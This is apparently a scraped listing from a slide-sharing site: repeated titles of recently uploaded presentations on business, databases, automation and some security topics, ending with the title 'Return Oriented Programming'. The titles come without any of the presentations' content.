9 CEO's who hit $100m ARR Share Their Top Growth Tactics Nathan Latka, Founde...
9 CEO's who hit $100m ARR Share Their Top Growth Tactics Nathan Latka, Founde...9 CEO's who hit $100m ARR Share Their Top Growth Tactics Nathan Latka, Founde...
9 CEO's who hit $100m ARR Share Their Top Growth Tactics Nathan Latka, Founde...
saastr
 
5th LF Energy Power Grid Model Meet-up Slides
5th LF Energy Power Grid Model Meet-up Slides5th LF Energy Power Grid Model Meet-up Slides
5th LF Energy Power Grid Model Meet-up Slides
DanBrown980551
 
Christine's Product Research Presentation.pptx
Christine's Product Research Presentation.pptxChristine's Product Research Presentation.pptx
Christine's Product Research Presentation.pptx
christinelarrosa
 
Biomedical Knowledge Graphs for Data Scientists and Bioinformaticians
Biomedical Knowledge Graphs for Data Scientists and BioinformaticiansBiomedical Knowledge Graphs for Data Scientists and Bioinformaticians
Biomedical Knowledge Graphs for Data Scientists and Bioinformaticians
Neo4j
 
Choosing The Best AWS Service For Your Website + API.pptx
Choosing The Best AWS Service For Your Website + API.pptxChoosing The Best AWS Service For Your Website + API.pptx
Choosing The Best AWS Service For Your Website + API.pptx
Brandon Minnick, MBA
 

Recently uploaded (20)

Y-Combinator seed pitch deck template PP
Y-Combinator seed pitch deck template PPY-Combinator seed pitch deck template PP
Y-Combinator seed pitch deck template PP
 
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024
 
Dandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity serverDandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity server
 
A Deep Dive into ScyllaDB's Architecture
A Deep Dive into ScyllaDB's ArchitectureA Deep Dive into ScyllaDB's Architecture
A Deep Dive into ScyllaDB's Architecture
 
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptxPRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
 
"Frontline Battles with DDoS: Best practices and Lessons Learned", Igor Ivaniuk
"Frontline Battles with DDoS: Best practices and Lessons Learned",  Igor Ivaniuk"Frontline Battles with DDoS: Best practices and Lessons Learned",  Igor Ivaniuk
"Frontline Battles with DDoS: Best practices and Lessons Learned", Igor Ivaniuk
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
 
Nordic Marketo Engage User Group_June 13_ 2024.pptx
Nordic Marketo Engage User Group_June 13_ 2024.pptxNordic Marketo Engage User Group_June 13_ 2024.pptx
Nordic Marketo Engage User Group_June 13_ 2024.pptx
 
Demystifying Knowledge Management through Storytelling
Demystifying Knowledge Management through StorytellingDemystifying Knowledge Management through Storytelling
Demystifying Knowledge Management through Storytelling
 
Session 1 - Intro to Robotic Process Automation.pdf
Session 1 - Intro to Robotic Process Automation.pdfSession 1 - Intro to Robotic Process Automation.pdf
Session 1 - Intro to Robotic Process Automation.pdf
 
What is an RPA CoE? Session 1 – CoE Vision
What is an RPA CoE?  Session 1 – CoE VisionWhat is an RPA CoE?  Session 1 – CoE Vision
What is an RPA CoE? Session 1 – CoE Vision
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
 
GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)
 
Taking AI to the Next Level in Manufacturing.pdf
Taking AI to the Next Level in Manufacturing.pdfTaking AI to the Next Level in Manufacturing.pdf
Taking AI to the Next Level in Manufacturing.pdf
 
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdfHow to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
 
9 CEO's who hit $100m ARR Share Their Top Growth Tactics Nathan Latka, Founde...
9 CEO's who hit $100m ARR Share Their Top Growth Tactics Nathan Latka, Founde...9 CEO's who hit $100m ARR Share Their Top Growth Tactics Nathan Latka, Founde...
9 CEO's who hit $100m ARR Share Their Top Growth Tactics Nathan Latka, Founde...
 
5th LF Energy Power Grid Model Meet-up Slides
5th LF Energy Power Grid Model Meet-up Slides5th LF Energy Power Grid Model Meet-up Slides
5th LF Energy Power Grid Model Meet-up Slides
 
Christine's Product Research Presentation.pptx
Christine's Product Research Presentation.pptxChristine's Product Research Presentation.pptx
Christine's Product Research Presentation.pptx
 
Biomedical Knowledge Graphs for Data Scientists and Bioinformaticians
Biomedical Knowledge Graphs for Data Scientists and BioinformaticiansBiomedical Knowledge Graphs for Data Scientists and Bioinformaticians
Biomedical Knowledge Graphs for Data Scientists and Bioinformaticians
 
Choosing The Best AWS Service For Your Website + API.pptx
Choosing The Best AWS Service For Your Website + API.pptxChoosing The Best AWS Service For Your Website + API.pptx
Choosing The Best AWS Service For Your Website + API.pptx
 

Return Oriented Programming